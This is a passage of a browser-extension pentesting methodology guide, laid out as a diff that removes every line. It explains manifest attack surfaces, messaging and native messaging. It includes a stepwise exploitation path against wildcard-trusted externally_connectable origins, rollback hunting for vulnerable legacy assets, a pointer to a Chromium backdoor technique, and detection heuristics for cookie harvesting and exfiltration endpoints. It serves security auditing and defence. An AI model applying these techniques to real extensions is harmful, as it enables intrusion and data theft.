-chrome.storage.local.get("message", (result) => {
-  let div = document.createElement("div")
-  div.innerHTML = result.message + " <button>Explain</button>"
-  div.querySelector("button").addEventListener("click", () => {
-    chrome.runtime.sendMessage("explain")
-  })
-  document.body.appendChild(div)
-})
-```
-
-<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
-
-A message is sent to the extension pages by the content script when this button is clicked, through the utilization of the [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). This is due to the content script's limitation in direct access to APIs, with `storage` being among the few exceptions. For functionalities beyond these exceptions, messages are sent to extension pages which content scripts can communicate with.
-
-> [!WARNING]
-> Depending on the browser, the capabilities of the content script may vary slightly. For Chromium-based browsers, the capabilities list is available in the [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), and for Firefox, the [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) serves as the primary source.\
-> It is also noteworthy that content scripts have the ability to communicate with background scripts, enabling them to perform actions and relay responses back.
-
-For viewing and debugging content scripts in Chrome, the Chrome developer tools menu can be accessed from Options > More tools > Developer tools OR by pressing Ctrl + Shift + I.
-
-Upon the developer tools being displayed, the **Source tab** is to be clicked, followed by the **Content Scripts** tab. This allows for the observation of running content scripts from various extensions and the setting of breakpoints to track the execution flow.
-
-### Injected content scripts
-
-> [!TIP]
-> Note that **Content Scripts aren't mandatory** as it's also possible to **dynamically** **inject** scripts and to **programatically inject them** in web pages via **`tabs.executeScript`**. This actually provides more **granular controls**.
-
-For the programmatic injection of a content script, the extension is required to have [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) for the page into which the scripts are to be injected. These permissions may be secured either by **requesting them** within the manifest of the extension or on a temporary basis through [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
-
-#### Example activeTab-based extension
-
-```json:manifest.json
-{
-  "name": "My extension",
-  ...
-  "permissions": [
-    "activeTab",
-    "scripting"
-  ],
-  "background": {
-    "service_worker": "background.js"
-  },
-  "action": {
-    "default_title": "Action Button"
-  }
-}
-```
-
-- **Inject a JS file on click:**
-
-```javascript
-// content-script.js
-document.body.style.backgroundColor = "orange"
-
-//service-worker.js - Inject the JS file
-chrome.action.onClicked.addListener((tab) => {
-  chrome.scripting.executeScript({
-    target: { tabId: tab.id },
-    files: ["content-script.js"],
-  })
-})
-```
-
-- **Inject a function** on click:
-
-```javascript
-//service-worker.js - Inject a function
-function injectedFunction() {
-  document.body.style.backgroundColor = "orange"
-}
-
-chrome.action.onClicked.addListener((tab) => {
-  chrome.scripting.executeScript({
-    target: { tabId: tab.id },
-    func: injectedFunction,
-  })
-})
-```
-
-#### Example with scripting permissions
-
-```javascript
-// service-workser.js
-chrome.scripting.registerContentScripts([
-  {
-    id: "test",
-    matches: ["https://*.example.com/*"],
-    excludeMatches: ["*://*/*business*"],
-    js: ["contentScript.js"],
-  },
-])
-
-// Another example
-chrome.tabs.executeScript(tabId, { file: "content_script.js" })
-```
-
-In order to include or exclude more URLs it's also possible to use **`include_globs`** and **`exclude_globs`**.
-
-### Content Scripts `run_at`
-
-The `run_at` field controls **when JavaScript files are injected into the web page**. The preferred and default value is `"document_idle"`.
-
-The possible values are:
-
-- **`document_idle`**: Whenever possible
-- **`document_start`**: After any files from `css`, but before any other DOM is constructed or any other script is run.
-- **`document_end`**: Immediately after the DOM is complete, but before subresources like images and frames have loaded.
-
-#### Via `manifest.json`
-
-```json
-{
-  "name": "My extension",
-  ...
-  "content_scripts": [
-    {
-      "matches": ["https://*.example.com/*"],
-      "run_at": "document_idle",
-      "js": ["contentScript.js"]
-    }
-  ],
-  ...
-}
-
-```
-
-Via **`service-worker.js`**
-
-```javascript
-chrome.scripting.registerContentScripts([
-  {
-    id: "test",
-    matches: ["https://*.example.com/*"],
-    runAt: "document_idle",
-    js: ["contentScript.js"],
-  },
-])
-```
-
-### `background`
-
-Messages sent by content scripts are received by the **background page**, which serves a central role in coordinating the extension's components. Notably, the background page persists across the extension's lifetime, operating discreetly without direct user interaction. It possesses its own Document Object Model (DOM), enabling complex interactions and state management.
-
-**Key Points**:
-
-- **Background Page Role:** Acts as the nerve center for the extension, ensuring communication and coordination among various parts of the extension.
-- **Persistence:** It's an ever-present entity, invisible to the user but integral to the extension's functionality.
-- **Automatic Generation:** If not explicitly defined, the browser will automatically create a background page. This auto-generated page will include all the background scripts specified in the extension's manifest, ensuring the seamless operation of the extension's background tasks.
-
-> [!TIP]
-> The convenience provided by the browser in automatically generating a background page (when not explicitly declared) ensures that all necessary background scripts are integrated and operational, streamlining the extension's setup process.
-
-Example background script:
-
-```js
-chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
-  if (request == "explain") {
-    chrome.tabs.create({ url: "https://example.net/explanation" })
-  }
-})
-```
-
-It uses [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) to listen to messages. When an `"explain"` message is received, it uses [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) to open a page in a new tab.
-
-To debug the background script you could go to the **extension details and inspect the service worker,** this will open the developer tools with the background script:
-
-<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
-
-### Options pages and other
-
-Browser extensions can contain various kinds of pages:
-
-- **Action pages** are displayed in a **drop-down when the extension ico**n is clicked.
-- Pages that the extension will **load in a new tab**.
-- **Option Pages**: This page displays on top of the extension when clicked. In the previous manifest In my case I was able to access this page in `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` or clicking:
-
-<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
-
-Note that these pages aren't persistent like background pages as they load dynamically content on necessity. Despite this, they share certain capabilities with the background page:
-
-- **Communication with Content Scripts:** Similar to the background page, these pages can receive messages from content scripts, facilitating interaction within the extension.
-- **Access to Extension-Specific APIs:** These pages enjoy comprehensive access to extension-specific APIs, subject to the permissions defined for the extension.
-
-### `permissions` & `host_permissions`
-
-**`permissions`** and **`host_permissions`** are entries from the `manifest.json` that will indicate **which permissions** the browser extensions has (storage, location...) and in **which web pages**.
-
-As browser extensions can be so **privileged**, a malicious one or one being compromised could allow the attacker **different means to steal sensitive information and spy on the user**.
-
-Check how these settings work and how they could get abused in:
-
-
-{{#ref}}
-browext-permissions-and-host_permissions.md
-{{#endref}}
-
-### `content_security_policy`
-
-A **content security policy** can be declared also inside the `manifest.json`. If there is one defined, it could be **vulnerable**.
-
-The default setting for browser extension pages is rather restrictive:
-
-```bash
-script-src 'self'; object-src 'self';
-```
-
-For more info about CSP and potential bypasses check:
-
-
-{{#ref}}
-../content-security-policy-csp-bypass/
-{{#endref}}
-
-### `web_accessible_resources`
-
-in order for a webpage to access a page of a Browser Extension, a `.html` page for example, this page needs to be mentioned in the **`web_accessible_resources`** field of the `manifest.json`.\
-For example:
-
-```javascript
-{
- ...
- "web_accessible_resources": [
-   {
-     "resources": [ "images/*.png" ],
-     "matches": [ "https://example.com/*" ]
-   },
-   {
-     "resources": [ "fonts/*.woff" ],
-     "matches": [ "https://example.com/*" ]
-   }
- ],
- ...
-}
-```
-
-These pages are accesible in URL like:
-
-```
-chrome-extension://<extension-id>/message.html
-```
-
-In public extensions the **extension-id is accesible**:
-
-<figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
-
-Although, if the `manifest.json` parameter **`use_dynamic_url`** is used, this **id can be dynamic**.
-
-> [!TIP]
-> Note that even if a page is mentioned here, it might be **protected against ClickJacking** thanks to the **Content Security Policy**. So you also need to check it (frame-ancestors section) before confirming a ClickJacking attack is possible.
-
-Being allowed to access these pages make these pages **potentially vulnerable ClickJacking**:
-
-
-{{#ref}}
-browext-clickjacking.md
-{{#endref}}
-
-> [!TIP]
-> Allowing these pages to be loaded only by the extension and not by random URLs could prevent ClickJacking attacks.
-
-> [!CAUTION]
-> Note that the pages from **`web_accessible_resources`** and other pages of the extension are also capable of **contacting background scripts**. So if one of these pages is vulnerable to **XSS** it could open a bigger vulnerability.
->
-> Moreover, note that you can only open pages indicated in **`web_accessible_resources`** inside iframes, but from a new tab it's possible to access any page in the extension knowing the extension ID. Therefore, if an XSS is found abusing same parameters, it could be abused even if the page isn't configured in **`web_accessible_resources`**.
-
-### `externally_connectable`
-
-A per the [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), The `"externally_connectable"` manifest property declares **which extensions and web pages can connect** to your extension via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) and [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
-
-- If the **`externally_connectable`** key is **not** declared in your extension's manifest or it's declared as **`"ids": ["*"]`**, **all extensions can connect, but no web pages can connect**.
-- If **specific IDs are specified**, like in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **only those applications** can connect.
-- If **matches** are specified, those web apps will be able to connect:
-
-```json
-"matches": [
-      "https://*.google.com/*",
-      "*://*.chromium.org/*",
-```
-
-- If it's specified as empty: **`"externally_connectable": {}`**, no app or web will be able to connect.
-
-The **less extensions and URLs** indicated here, the **smaller the attack surface** will be.
-
-> [!CAUTION]
-> If a web page **vulnerable to XSS or takeover** is indicated in **`externally_connectable`**, an attacker will be able to **send messages directly to the background script**, completely bypassing the Content Script and its CSP.
->
-> Therefore, this is a **very powerful bypass**.
->
-> Moreover, if the client installs a rouge extension, even if it isn't allowed to communicate with the vulnerable extension, it could inject **XSS data in an allowed web page** or abuse **`WebRequest`** or **`DeclarativeNetRequest`** APIs to manipulate requests on a targeted domain altering a page's request for a **JavaScript file**. (Note that CSP on the targeted page could prevent these attacks). This idea comes [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
-
-#### Wildcard-trusted web origins to privileged action injection
-
-If an extension exposes a **high-privilege message handler** to the web via `externally_connectable`, avoid trusting a broad pattern such as `https://*.example.com/*`. A single **XSS**, **subdomain takeover**, or **vendor widget compromise** on any matching subdomain becomes equivalent to owning the extension's web-facing API.
-
-Typical exploitation path:
-
-1. Find the extension ID and enumerate `externally_connectable.matches`.
-2. Identify a message type that triggers a **privileged action** (`open tab`, `read page`, `submit prompt`, `fetch with extension privileges`, `native messaging`, and so on).
-3. Get JavaScript execution in **any** trusted origin.
-4. Send the request directly to the extension:
-
-```javascript
-chrome.runtime.sendMessage("<extension-id>", {
-  type: "privileged_action",
-  payload: { attacker: "controlled" },
-})
-```
-
-This is especially dangerous in **agentic extensions** or assistants because the "message" might be a full **instruction prompt** that is executed with the extension's host permissions.
-
-> [!CAUTION]
-> Treat **vendor code hosted on a first-party trusted subdomain** as part of the trust boundary. If `captcha.example.com`, `cdn.example.com`, or a support widget origin is allowed by `externally_connectable`, an XSS in that third-party component can pivot into the extension exactly as if the bug existed on the main application.
-
-#### Auditing `chrome.runtime.sendMessage` / `onMessageExternal` trust
-
-When reviewing a browser extension that accepts messages from web pages:
-
-- Search for `chrome.runtime.onMessageExternal.addListener`, `chrome.runtime.onConnectExternal.addListener`, and sensitive handlers reachable from those listeners.
-- Verify the extension performs **exact origin equality** checks on the sender instead of suffix, regex, or wildcard matching.
-- Verify the handler authorizes **message type + origin** together. A safe origin for telemetry or onboarding is not automatically safe for privileged actions.
-- Confirm the extension does not trust a subdomain just because it shares the parent eTLD+1.
-- Check whether any allowed origin hosts **third-party JavaScript**, **user-generated content**, or **legacy static assets**.
-
-Bad patterns:
-
-```javascript
-if (sender.origin.endsWith(".example.com")) { /* trust */ }
-if (/^https:\/\/.*\.example\.com$/.test(sender.origin)) { /* trust */ }
-```
-
-Prefer strict matching to the minimal set of origins:
-
-```javascript
-if (sender.origin !== "https://app.example.com") return
-```
-
-#### Rollback hunting on trusted static assets
-
-If the trusted origin serves **versioned static assets** or embedded widgets from predictable paths, try walking older versions looking for still-reachable vulnerable builds. This is useful when the current version is patched but the extension still trusts the origin hosting archived assets.
-
-Common patterns:
-
-- `/assets/widget/1.26.0/index.html`
-- `/static/app-2024.12.1/`
-- `/cdn/component/v1234/`
-
-Practical checks:
-
-- Start from a version observed in network traffic or page source.
-- Decrement semantic versions / build numbers and request older paths.
-- Look for `200`, `301`, or cache hits on old builds.
-- Review older JS bundles for DOM XSS, unsafe message handlers, or gadget endpoints that can re-establish JavaScript execution on the trusted origin.
-
-## Communication summary
-
-### Extension <--> WebApp
-
-To communicate between the content script and the web page post messages are usually used. Therefore, in the web application you will usually find calls to the function **`window.postMessage`** and in the content script listeners like **`window.addEventListener`**. Note however, that the extension could also **communicate with the web application sending a Post Message** (and therefore the web should expect it) or just make the web load a new script.
-
-### Inside the extension
-
-Usually the function **`chrome.runtime.sendMessage`** is used to send a message inside the extension (usually handled by the `background` script) and in order to receive and handle it a listener is declared calling **`chrome.runtime.onMessage.addListener`**.
-
-It's also possible to use **`chrome.runtime.connect()`** to have a persistent connection instead of sending single messages, it's possible to use it to **send** and **receive** **messages** like in the following example:
-
-<details>
-
-<summary><code>chrome.runtime.connect()</code> example</summary>
-
-```javascript
-var port = chrome.runtime.connect()
-
-// Listen for messages from the web page
-window.addEventListener(
-  "message",
-  (event) => {
-    // Only accept messages from the same window
-    if (event.source !== window) {
-      return
-    }
-
-    // Check if the message type is "FROM_PAGE"
-    if (event.data.type && event.data.type === "FROM_PAGE") {
-      console.log("Content script received: " + event.data.text)
-      // Forward the message to the background script
-      port.postMessage({ type: "FROM_PAGE", text: event.data.text })
-    }
-  },
-  false
-)
-
-// Listen for messages from the background script
-port.onMessage.addListener(function (msg) {
-  console.log("Content script received message from background script:", msg)
-  // Handle the response message from the background script
-})
-```
-
-</details>
-
-It's also possible to send messages from a background script to a content script located in a specific tab calling **`chrome.tabs.sendMessage`** where you will need to indicated the **ID of the tab** to send the message to.
-
-### From allowed `externally_connectable` to the extension
-
-**Web apps and external browser extensions allowed** in the `externally_connectable` configuration can send requests using :
-
-```javascript
-chrome.runtime.sendMessage(extensionId, ...
-```
-
-Where it's needed to mention the **extension ID**.
-
-### Native Messaging
-
-It's possible for the background scripts to communicate with binaries inside the system, which might be **prone to critical vulnerabilities such as RCEs** if this communication is not properly secured. [More on this later](#native-messaging).
-
-```javascript
-chrome.runtime.sendNativeMessage(
-  "com.my_company.my_application",
-  { text: "Hello" },
-  function (response) {
-    console.log("Received " + response)
-  }
-)
-```
-
-## Web **↔︎** Content Script Communication
-
-The environments where **content scripts** operate and where the host pages exist are **separated** from one another, ensuring **isolation**. Despite this isolation, both have the ability to interact with the page's **Document Object Model (DOM)**, a shared resource. For the host page to engage in communication with the **content script**, or indirectly with the extension through the content script, it is required to utilize the **DOM** that is accessible by both parties as the communication channel.
-
-### Post Messages
-
-```javascript:content-script.js
-// This is like "chrome.runtime.sendMessage" but to maintain the connection
-var port = chrome.runtime.connect()
-
-window.addEventListener(
-  "message",
-  (event) => {
-    // We only accept messages from ourselves
-    if (event.source !== window) {
-      return
-    }
-
-    if (event.data.type && event.data.type === "FROM_PAGE") {
-      console.log("Content script received: " + event.data.text)
-      // Forward the message to the background script
-      port.postMessage(event.data.text)
-    }
-  },
-  false
-)
-```
-
-```javascript:example.js
-document.getElementById("theButton").addEventListener(
-  "click",
-  () => {
-    window.postMessage(
-      { type: "FROM_PAGE", text: "Hello from the webpage!" },
-      "*"
-    )
-  },
-  false
-)
-```
-
-A secure Post Message communication should check the authenticity of the received message, this can be done checking:
-
-- **`event.isTrusted`**: This is True only if the event was triggered by a users action
-  - The content script might expecting a message only if the user performs some action
-- **origin domain**: might expecting a message only allowlist of domains.
-  - If a regex is used, be very careful
-- **Source**: `received_message.source !== window` can be used to check if the message was **from the same window** where the Content Script is listening.
-
-The previous checks, even if performed, could be vulnerable, so check in the following page **potential Post Message bypasses**:
-
-
-{{#ref}}
-../postmessage-vulnerabilities/
-{{#endref}}
-
-### Iframe
-
-Another possible way of communication might be through **Iframe URLs**, you can find an example in:
-
-
-{{#ref}}
-browext-xss-example.md
-{{#endref}}
-
-### DOM
-
-This isn't "exactly" a communication way, but the **web and the content script will have access to the web DOM**. So, if the **content script** is reading some information from it, **trusting the web DOM**, the web could **modify this dat**a (because the web shouldn't be trusted, or because the web is vulnerable to XSS) and **compromise the Content Script**.
-
-You can also find an example of a **DOM based XSS to compromise a browser extension** in:
-
-
-{{#ref}}
-browext-xss-example.md
-{{#endref}}
-
-## Content Script **↔︎** Background Script Communication
-
-A Content Script can use the functions [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **or** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) to send a **one-time JSON-serializable** message.
-
-To handle the **response**, use the returned **Promise**. Although, for backward compatibility, you can still pass a **callback** as the last argument.
-
-Sending a request from a **content script** looks like this:
-
-```javascript
-;(async () => {
-  const response = await chrome.runtime.sendMessage({ greeting: "hello" })
-  // do something with response here, not outside the function
-  console.log(response)
-})()
-```
-
-Sending a request from the **extension** (usually a **background script**). Example of how to send message to the content script in the selected tab:
-
-```javascript
-// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
-;(async () => {
-  const [tab] = await chrome.tabs.query({
-    active: true,
-    lastFocusedWindow: true,
-  })
-  const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" })
-  // do something with response here, not outside the function
-  console.log(response)
-})()
-```
-
-On the **receiving end**, you need to set up an [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **event listener** to handle the message. This looks the same from a content script or extension page.
-
-```javascript
-// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
-chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
-  console.log(
-    sender.tab
-      ? "from a content script:" + sender.tab.url
-      : "from the extension"
-  )
-  if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
-})
-```
-
-In the example highlighted, **`sendResponse()`** was executed in a synchronous fashion. To modify the `onMessage` event handler for asynchronous execution of `sendResponse()`, it's imperative to incorporate `return true;`.
-
-An important consideration is that in scenarios where multiple pages are set to receive `onMessage` events, **the first page to execute `sendResponse()`** for a specific event will be the only one able to deliver the response effectively. Any subsequent responses to the same event will not be taken into account.
-
-When crafting new extensions, the preference should be towards promises as opposed to callbacks. Concerning the use of callbacks, the `sendResponse()` function is considered valid only if it's executed directly within the synchronous context, or if the event handler indicates an asynchronous operation by returning `true`. Should none of the handlers return `true` or if the `sendResponse()` function is removed from memory (garbage-collected), the callback associated with the `sendMessage()` function will be triggered by default.
-
-## Native Messaging
-
-Browser extensions also allow to communicate with **binaries in the system via stdin**. The application must install a json indicating so in a json like:
-
-```json
-{
-  "name": "com.my_company.my_application",
-  "description": "My Application",
-  "path": "C:\\Program Files\\My Application\\chrome_native_messaging_host.exe",
-  "type": "stdio",
-  "allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
-}
-```
-
-Where the `name` is the string passed to [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) or [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) to communicate with the application from the background scripts of the browser extension. The `path` is the path to the binary, there is only 1 valid `type` which is stdio (use stdin and stdout) and the `allowed_origins` indicate the extensions that can access it (and can't have wildcard).
-
-Chrome/Chromium will search for this json in some windows registry and some paths in macOS and Linux (more info in the [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
-
-> [!TIP]
-> The browser extension also needs the `nativeMessaing` permission declared in order to be able to use this communication.
-
-This is how it looks like some background script code sending messages to a native application:
-
-```javascript
-chrome.runtime.sendNativeMessage(
-  "com.my_company.my_application",
-  { text: "Hello" },
-  function (response) {
-    console.log("Received " + response)
-  }
-)
-```
-
-In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), a vulnerable pattern abusing native messages is proposed:
-
-1. Browser extension has a wildcard pattern for content script.
-2. Content script passes `postMessage` messages to the background script using `sendMessage`.
-3. Background script passes the message to native application using `sendNativeMessage`.
-4. Native application handles the message dangerously, leading to code execution.
-
-And inside of it an example of **going from any page to RCE abusing a browser extension is explained**.
-
-## Sensitive Information in Memory/Code/Clipboard
-
-If a Browser Extension stores **sensitive information inside it's memory**, this could be **dumped** (specially in Windows machines) and **searched** for this information.
-
-Therefore, the memory of the Browser Extension **shouldn't be considered secure** and **sensitive information** such as credentials or mnemonic phrases **shouldn't be stored**.
-
-Of course, do **not put sensitive information in the code**, as it will be **public**.
-
-To dump memory from the browser you could **dump the process memory** or to go to the **settings** of the browser extension click on **`Inspect pop-up`** -> In the **`Memory`** section -> **`Take a snaphost`** and **`CTRL+F`** to search inside the snapshot for sensitive info.
-
-Moreover, highly sensitive information like mnemonic keys or passwords **shouldn't be allowed to be copied in the clipboard** (or at least remove it from the clipboard in a few seconds) because then processes monitoring the clipboard will be able to get them.
-
-## Loading an Extension in the Browser
-
-1. **Download** the Browser Extension & unzipped
-2. Go to **`chrome://extensions/`** and **enable** the `Developer Mode`
-3. Click the **`Load unpacked`** button
-
-In **Firefox** you go to **`about:debugging#/runtime/this-firefox`** and click **`Load Temporary Add-on`** button.
-
-## Getting the source code from the store
-
-The source code of a Chrome extension can be obtained through various methods. Below are detailed explanations and instructions for each option.
-
-### Download Extension as ZIP via Command Line
-
-The source code of a Chrome extension can be downloaded as a ZIP file using the command line. This involves using `curl` to fetch the ZIP file from a specific URL and then extracting the contents of the ZIP file to a directory. Here are the steps:
-
-1. Replace `"extension_id"` with the actual ID of the extension.
-2. Execute the following commands:
-
-```bash
-extension_id=your_extension_id   # Replace with the actual extension ID
-curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
-unzip -d "$extension_id-source" "$extension_id.zip"
-```
-
-### Use the CRX Viewer website
-
-[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
-
-### Use the CRX Viewer extension
-
-Another convenient method is using the Chrome Extension Source Viewer, which is an open-source project. It can be installed from the [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). The source code of the viewer is available in its [GitHub repository](https://github.com/Rob--W/crxviewer).
-
-### View source of locally installed extension
-
-Chrome extensions installed locally can also be inspected. Here's how:
-
-1. Access your Chrome local profile directory by visiting `chrome://version/` and locating the "Profile Path" field.
-2. Navigate to the `Extensions/` subfolder within the profile directory.
-3. This folder contains all installed extensions, typically with their source code in a readable format.
-
-To identify extensions, you can map their IDs to names:
-
-- Enable Developer Mode on the `about:extensions` page to see the IDs of each extension.
-- Within each extension's folder, the `manifest.json` file contains a readable `name` field, helping you to identify the extension.
-
-### Use a File Archiver or Unpacker
-
-Go to the Chrome Web Store and download the extension. The file will have a `.crx` extension. Change the file extension from `.crx` to `.zip`. Use any file archiver (like WinRAR, 7-Zip, etc.) to extract the contents of the ZIP file.
-
-### Use Developer Mode in Chrome
-
-Open Chrome and go to `chrome://extensions/`. Enable "Developer mode" at the top right. Click on "Load unpacked extension...". Navigate to the directory of your extension. This doesn't download the source code, but it's useful for viewing and modifying the code of an already downloaded or developed extension.
-
-## Chrome extension manifest dataset
-
-In order to try to spot vulnerable browser extensions you could use the[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) and check their manifest files for potentially vulnerable signs. For example to check for extensions with more than 25000 users, `content_scripts` and the permission `nativeMessaing`:
-
-```bash
-# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
-node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
-```
-
-## Post-exploitation: Forced extension load & persistence (Windows)
-
-Stealthy technique to backdoor Chromium by directly editing per-user Preferences and forging valid HMACs, causing the browser to accept and activate an arbitrary unpacked extension without prompts or flags.
-
-{{#ref}}
-forced-extension-load-preferences-mac-forgery-windows.md
-{{#endref}}
-
-## Detecting Malicious Extension Updates (Static Version Diffing)
-
-Supply-chain compromises often arrive as **malicious updates** to previously benign extensions. A practical, low-noise approach is to **compare a new extension package against the last known-good version** using static analysis (for example, [Assemblyline](https://github.com/CybercentreCanada/assemblyline)). The goal is to alert on **high-signal deltas** rather than on any change.
-
-### Workflow
-
-- **Submit both versions** (old + new) to the same static-analysis profile.
-- **Flag new or updated background/service worker scripts** (persistence + privileged logic).
-- **Flag new or updated content scripts** (DOM access and data collection).
-- **Flag new permissions/host_permissions** added in `manifest.json`.
-- **Flag new domains** extracted from code (potential C2/exfil endpoints).
-- **Flag new static-analysis detections** (e.g., base64 decode, cookie harvesting, network-request builders, obfuscation patterns).
-- **Flag statistical anomalies** such as sharp entropy jumps or outlier z-scores in changed scripts.
-
-### Detecting script changes accurately
-
-- **New script added** → detect via `manifest.json` diff.
-- **Existing script modified** (manifest unchanged) → compare **per-file hashes** from the extracted file tree (e.g., Assemblyline `Extract` output). This catches stealthy updates to existing workers or content scripts.
-
-### Pre-disclosure detections
-
-To avoid “easy mode” detections based on already-known IOCs, **disable threat-intel-fed services** and rely on intrinsic signals (domains, heuristic signatures, script deltas, entropy anomalies). This increases chances of catching malicious updates **before public reporting**.
-
-### Example high-confidence alert logic
-
-- **Low-noise combo:** new domains + new static-analysis detections + updated background/service worker + updated or added content scripts.
-- **Broader catch:** new domain + new or updated background/service worker (higher recall, higher noise).
-
-Key Assemblyline services for this workflow:
-
-- **Extract**: unpacks the extension and yields per-file hashes.
-- **Characterize**: computes file characteristics (e.g., entropy).
-- **JsJAWS / FrankenStrings / URLCreator**: surface JS heuristics, strings, and domains to diff between versions.
-
-## Security Audit Checklist
-
-Even though Browser Extensions have a **limited attack surface**, some of them might contain **vulnerabilities** or **potential hardening improvements**. The following ones are the most common ones:
-
-- [ ] **Limit** as much as possible requested **`permissions`**
-- [ ] **Limit** as much as possible **`host_permissions`**
-- [ ] Use a **strong** **`content_security_policy`**
-- [ ] **Limit** as much as possible the **`externally_connectable`**, if none is needed and possible, do not leave it by default, specify **`{}`**
-  - [ ] If **URL vulnerable to XSS or to takeover** is mentioned here, an attacker will be able to **send messages to the background scripts directly**. Very powerful bypass.
-  - [ ] Reject wildcard or suffix trust such as `*.example.com` for **privileged** external message handlers.
-  - [ ] Review whether any allowed origin serves **vendor-hosted widgets**, **user content**, or **versioned legacy assets** that could restore code execution on a trusted subdomain.
-- [ ] **Limit** as much as possible the **`web_accessible_resources`**, even empty if possible.
-- [ ] If **`web_accessible_resources`** is not none, check for [**ClickJacking**](browext-clickjacking.md)
-- [ ] If any **communication** occurs from the **extension** to the **web page**, [**check for XSS**](browext-xss-example.md) **vulnerabilities** caused in the communication.
-  - [ ] If Post Messages are used, check for [**Post Message vulnerabilities**](../postmessage-vulnerabilities/index.html)**.**
-  - [ ] If the **Content Script access DOM details**, check that they **aren't introducing a XSS** if they get **modified** by the web
-  - [ ] Make a special emphasis if this communication is also involved in the **Content Script -> Background script communication**
-  - [ ] If the background script is communicating via **native messaging** check the communication is secure and sanitized
-- [ ] **Sensitive information shouldn't be stored** inside the Browser Extension **code**
-- [ ] **Sensitive information shouldn't be stored** inside the Browser Extension **memory**
-- [ ] **Sensitive information shouldn't be stored** inside the **file system unprotected**
-
-## Browser Extension Risks
-
-- The app [https://crxaminer.tech/](https://crxaminer.tech/) analyzes some data like the permissions browser extension requests to give a risk level of using the browser extension.
-
-## Tools
-
-### [**Tarnish**](https://thehackerblog.com/tarnish/)
-
-- Pulls any Chrome extension from a provided Chrome webstore link.
-- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: simply displays a JSON-prettified version of the extension’s manifest.
-- **Fingerprint Analysis**: Detection of [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) and automatic generation of Chrome extension fingerprinting JavaScript.
-- **Potential Clickjacking Analysis**: Detection of extension HTML pages with the [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) directive set. These are potentially vulnerable to clickjacking depending on the purpose of the pages.
-- **Permission Warning(s) viewer**: which shows a list of all the Chrome permission prompt warnings which will be displayed upon a user attempting to install the extension.
-- **Dangerous Function(s)**: shows the location of dangerous functions which could potentially be exploited by an attacker (e.g. functions such as innerHTML, chrome.tabs.executeScript).
-- **Entry Point(s)**: shows where the extension takes in user/external input. This is useful for understanding an extension’s surface area and looking for potential points to send maliciously-crafted data to the extension.
-- Both the Dangerous Function(s) and Entry Point(s) scanners have the following for their generated alerts:
-  - Relevant code snippet and line that caused the alert.
-  - Description of the issue.
-  - A “View File” button to view the full source file containing the code.
-  - The path of the alerted file.
-  - The full Chrome extension URI of the alerted file.
-  - The type of file it is, such as a Background Page script, Content Script, Browser Action, etc.
-  - If the vulnerable line is in a JavaScript file, the paths of all of the pages where it is included as well as these page’s type, and [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) status.
-- **Content Security Policy (CSP) analyzer and bypass checker**: This will point out weaknesses in your extension’s CSP and will also illuminate any potential ways to bypass your CSP due to whitelisted CDNs, etc.
-- **Known Vulnerable Libraries**: This uses [Retire.js](https://retirejs.github.io/retire.js/) to check for any usage of known-vulnerable JavaScript libraries.
-- Download extension and formatted versions.
-  - Download the original extension.
-  - Download a beautified version of the extension (auto prettified HTML and JavaScript).
